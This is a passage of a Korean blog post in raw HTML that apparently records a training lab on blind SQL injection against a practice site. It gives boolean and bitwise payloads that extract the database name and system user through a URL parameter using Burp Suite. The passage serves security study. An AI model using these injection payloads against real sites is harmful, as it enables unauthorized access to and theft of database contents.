data-origin-height=&quot;129&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),2,1))&amp;amp;1=1;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 두번째 글자의 아스키코드와 1을 AND 연산, 참&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),2,1))&amp;amp;2=2;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 두번째 글자의 아스키코드와 2를 AND 연산, 거짓&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),2,1))&amp;amp;4=4;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 두번째 글자의 아스키코드와 4를 AND 연산, 참&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),2,1))&amp;amp;8=8;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 두번째 글자의 아스키코드와 8을 AND 연산, 거짓&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),2,1))&amp;amp;16=16;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 두번째 글자의 아스키코드와 16을 AND 연산, 거짓&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),2,1))&amp;amp;32=32;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 두번째 글자의 아스키코드와 32를 AND 연산, 참&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),2,1))&amp;amp;64=64;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 두번째 글자의 아스키코드와 64를 AND 연산, 참&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;773&quot; data-origin-height=&quot;658&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVxKTx/btsLs0GjGdB/Y9kefhA0122kFbDxk8MQo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVxKTx/btsLs0GjGdB/Y9kefhA0122kFbDxk8MQo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVxKTx/btsLs0GjGdB/Y9kefhA0122kFbDxk8MQo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVxKTx%2FbtsLs0GjGdB%2FY9kefhA0122kFbDxk8MQo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;773&quot; height=&quot;658&quot; data-origin-width=&quot;773&quot; data-origin-height=&quot;658&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참인 결과만 더해서 문자열을 추론한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1+4+32+64 = 101&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select char(101); 을 입력하면 문자열 e 가 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;229&quot; data-origin-height=&quot;129&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cf9rSg/btsLnZBgfqc/kVykcfK4ifUAm1Ut2NsSs0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cf9rSg/btsLnZBgfqc/kVykcfK4ifUAm1Ut2NsSs0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cf9rSg/btsLnZBgfqc/kVykcfK4ifUAm1Ut2NsSs0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcf9rSg%2FbtsLnZBgfqc%2FkVykcfK4ifUAm1Ut2NsSs0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;229&quot; height=&quot;129&quot; data-origin-width=&quot;229&quot; data-origin-height=&quot;129&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),3,1))&amp;amp;1=1;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 세번째 글자의 아스키코드와 1을 AND 연산, 거짓&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),3,1))&amp;amp;2=2;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 세번째 글자의 아스키코드와 2를 AND 연산, 참&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),3,1))&amp;amp;4=4;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 세번째 글자의 아스키코드와 4를 AND 연산, 참&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),3,1))&amp;amp;8=8;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 세번째 글자의 아스키코드와 8을 AND 연산, 참&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),3,1))&amp;amp;16=16;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 세번째 글자의 아스키코드와 16을 AND 연산, 거짓&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),3,1))&amp;amp;32=32;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 세번째 글자의 아스키코드와 32를 AND 연산, 참&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),3,1))&amp;amp;64=64;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 세번째 글자의 아스키코드와 64를 AND 연산, 참&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;774&quot; data-origin-height=&quot;738&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lZBpQ/btsLrG2V4No/xBTAKCaT7TKkKWQooohShk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lZBpQ/btsLrG2V4No/xBTAKCaT7TKkKWQooohShk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lZBpQ/btsLrG2V4No/xBTAKCaT7TKkKWQooohShk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlZBpQ%2FbtsLrG2V4No%2FxBTAKCaT7TKkKWQooohShk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;774&quot; height=&quot;738&quot; data-origin-width=&quot;774&quot; data-origin-height=&quot;738&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참인 결과만 더해서 문자열을 추론한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2+4+8+32+64 = 110&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select char(110); 을 입력하면 문자열 n 이 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;250&quot; data-origin-height=&quot;124&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QJFNq/btsLndGLXyg/Dpi7Zhubp5J6Eb1y2jigqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QJFNq/btsLndGLXyg/Dpi7Zhubp5J6Eb1y2jigqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QJFNq/btsLndGLXyg/Dpi7Zhubp5J6Eb1y2jigqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQJFNq%2FbtsLndGLXyg%2FDpi7Zhubp5J6Eb1y2jigqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;250&quot; height=&quot;124&quot; data-origin-width=&quot;250&quot; data-origin-height=&quot;124&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 현재 데이터베이스명이 pen으로 시작하는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select database(); 를 입력하면 현재 데이터베이스가 pentest 인것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;247&quot; data-origin-height=&quot;135&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boIbJA/btsLmMpmba0/LMzlcepjk3rk9WZorxOJXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boIbJA/btsLmMpmba0/LMzlcepjk3rk9WZorxOJXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boIbJA/btsLmMpmba0/LMzlcepjk3rk9WZorxOJXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboIbJA%2FbtsLmMpmba0%2FLMzlcepjk3rk9WZorxOJXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;247&quot; height=&quot;135&quot; data-origin-width=&quot;247&quot; data-origin-height=&quot;135&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습2-9 BLIND-BASED 공격을 통한 중요 정보 탈취 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;insecure_website 페이지에서 게시물 클릭 후 URL에 SQL Injection 취약점이 존재하는지 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=11-1 입력 시 게시글이 확인되며, idx=11-2 입력 시 게시글이 확인되지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;823&quot; data-origin-height=&quot;600&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QsIx4/btsLmOt4fJT/FFCGzO7P0BxkcymwQnMIkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QsIx4/btsLmOt4fJT/FFCGzO7P0BxkcymwQnMIkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QsIx4/btsLmOt4fJT/FFCGzO7P0BxkcymwQnMIkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQsIx4%2FbtsLmOt4fJT%2FFFCGzO7P0BxkcymwQnMIkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;823&quot; height=&quot;600&quot; data-origin-width=&quot;823&quot; data-origin-height=&quot;600&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;825&quot; data-origin-height=&quot;254&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d6BFJ2/btsLmV0HeLg/SanJEG2eekjPKRH6EPW3Bk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d6BFJ2/btsLmV0HeLg/SanJEG2eekjPKRH6EPW3Bk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d6BFJ2/btsLmV0HeLg/SanJEG2eekjPKRH6EPW3Bk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd6BFJ2%2FbtsLmV0HeLg%2FSanJEG2eekjPKRH6EPW3Bk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;825&quot; height=&quot;254&quot; data-origin-width=&quot;825&quot; data-origin-height=&quot;254&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and 1=1 입력 시 게시글이 확인되며, idx=10 and 1=2 입력 시 게시글이 확인되지 않는다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 SQL Injection 취약점이 존재한다고 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;812&quot; data-origin-height=&quot;590&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVuVT3/btsLobaqVCv/tKb64aRAjT4K6PqvkJaww0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVuVT3/btsLobaqVCv/tKb64aRAjT4K6PqvkJaww0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVuVT3/btsLobaqVCv/tKb64aRAjT4K6PqvkJaww0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVuVT3%2FbtsLobaqVCv%2FtKb64aRAjT4K6PqvkJaww0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;812&quot; height=&quot;590&quot; data-origin-width=&quot;812&quot; data-origin-height=&quot;590&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;823&quot; data-origin-height=&quot;247&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eLl7nq/btsLnIs3lFm/oIbksqkt7DxguMdPOFi3xk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eLl7nq/btsLnIs3lFm/oIbksqkt7DxguMdPOFi3xk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eLl7nq/btsLnIs3lFm/oIbksqkt7DxguMdPOFi3xk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeLl7nq%2FbtsLnIs3lFm%2FoIbksqkt7DxguMdPOFi3xk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;823&quot; height=&quot;247&quot; data-origin-width=&quot;823&quot; data-origin-height=&quot;247&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트를 켜고 Intercept On을 한 후에 idx=10 and 1=1 요청을 리피터로 보낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프록시에서 서버로 요청 시 URL 인코딩을 적용해야 하므로 idx=10&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;%20&lt;/b&gt;&lt;/span&gt;and&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;%20&lt;/b&gt;&lt;/span&gt;1&lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;%3D&lt;/span&gt;&lt;/b&gt;1 로 요청을 보낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또는 idx=10 and 1=1 입력 후 ctrl + u 를 입력하여 URL 인코딩을 적용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;%20 &amp;rarr; 공백&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;%3D &amp;rarr; =&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청의 결과가 참인 경우에는 게시글의 날짜가 확인이되는데, 이것을 기준 문자열로 정한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1881&quot; data-origin-height=&quot;842&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cr0Dnk/btsLmmR3Btk/o0BkQOZTJ9eUvFcncC6Om1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cr0Dnk/btsLmmR3Btk/o0BkQOZTJ9eUvFcncC6Om1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cr0Dnk/btsLmmR3Btk/o0BkQOZTJ9eUvFcncC6Om1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcr0Dnk%2FbtsLmmR3Btk%2Fo0BkQOZTJ9eUvFcncC6Om1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1881&quot; height=&quot;842&quot; data-origin-width=&quot;1881&quot; data-origin-height=&quot;842&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 요청이 거짓인 경우 게시글 날짜가 확인되지 않을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;%20&lt;/b&gt;&lt;/span&gt;and&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;%20&lt;/b&gt;&lt;/span&gt;1&lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;%3D&lt;/span&gt;&lt;/b&gt;2 를 입력하여 결과가 거짓인 요청을 보낸다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1887&quot; data-origin-height=&quot;843&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cRHOwq/btsLmOHv168/EiYry15rwrQY8XYQIoMoc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cRHOwq/btsLmOHv168/EiYry15rwrQY8XYQIoMoc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cRHOwq/btsLmOHv168/EiYry15rwrQY8XYQIoMoc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcRHOwq%2FbtsLmOHv168%2FEiYry15rwrQY8XYQIoMoc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1887&quot; height=&quot;843&quot; data-origin-width=&quot;1887&quot; data-origin-height=&quot;843&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 존재하지 않은 게시글이 출력되며 게시글 작성 날짜는 확인되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같은 기준을 가지고 Blind-Based 공격을 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and substring(system_user(),1,1)='r' 입력 후 ctrl + u 입력하여 URL 인코딩 적용 후 서버로 요청한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 날짜인 2024-12-05 문자열이 확인된다. &amp;rarr; 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 system_user 의 첫번째 문자열이 r 인 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1881&quot; data-origin-height=&quot;843&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/roPjL/btsLmpuo3oF/6VXrZPCX1zsjjPn5wQnnq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/roPjL/btsLmpuo3oF/6VXrZPCX1zsjjPn5wQnnq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/roPjL/btsLmpuo3oF/6VXrZPCX1zsjjPn5wQnnq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FroPjL%2FbtsLmpuo3oF%2F6VXrZPCX1zsjjPn5wQnnq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1881&quot; height=&quot;843&quot; data-origin-width=&quot;1881&quot; data-origin-height=&quot;843&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 참과 거짓 응답을 통해서 system_user 를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재는 사용자명이 root 라는 것을 알고 있지만, 실제 공격 시 정확한 문자열 길이를 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;길이값을 알기 위해 length 함수를 사용하여 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and length(system_user())&amp;gt;10 입력하여 사용자명이 10자를 초과하는지 확인해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1883&quot; data-origin-height=&quot;846&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5yL6l/btsLnaQPmYf/t6y48naYI20O2voNtqGsg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5yL6l/btsLnaQPmYf/t6y48naYI20O2voNtqGsg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5yL6l/btsLnaQPmYf/t6y48naYI20O2voNtqGsg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5yL6l%2FbtsLnaQPmYf%2Ft6y48naYI20O2voNtqGsg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1883&quot; height=&quot;846&quot; data-origin-width=&quot;1883&quot; data-origin-height=&quot;846&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
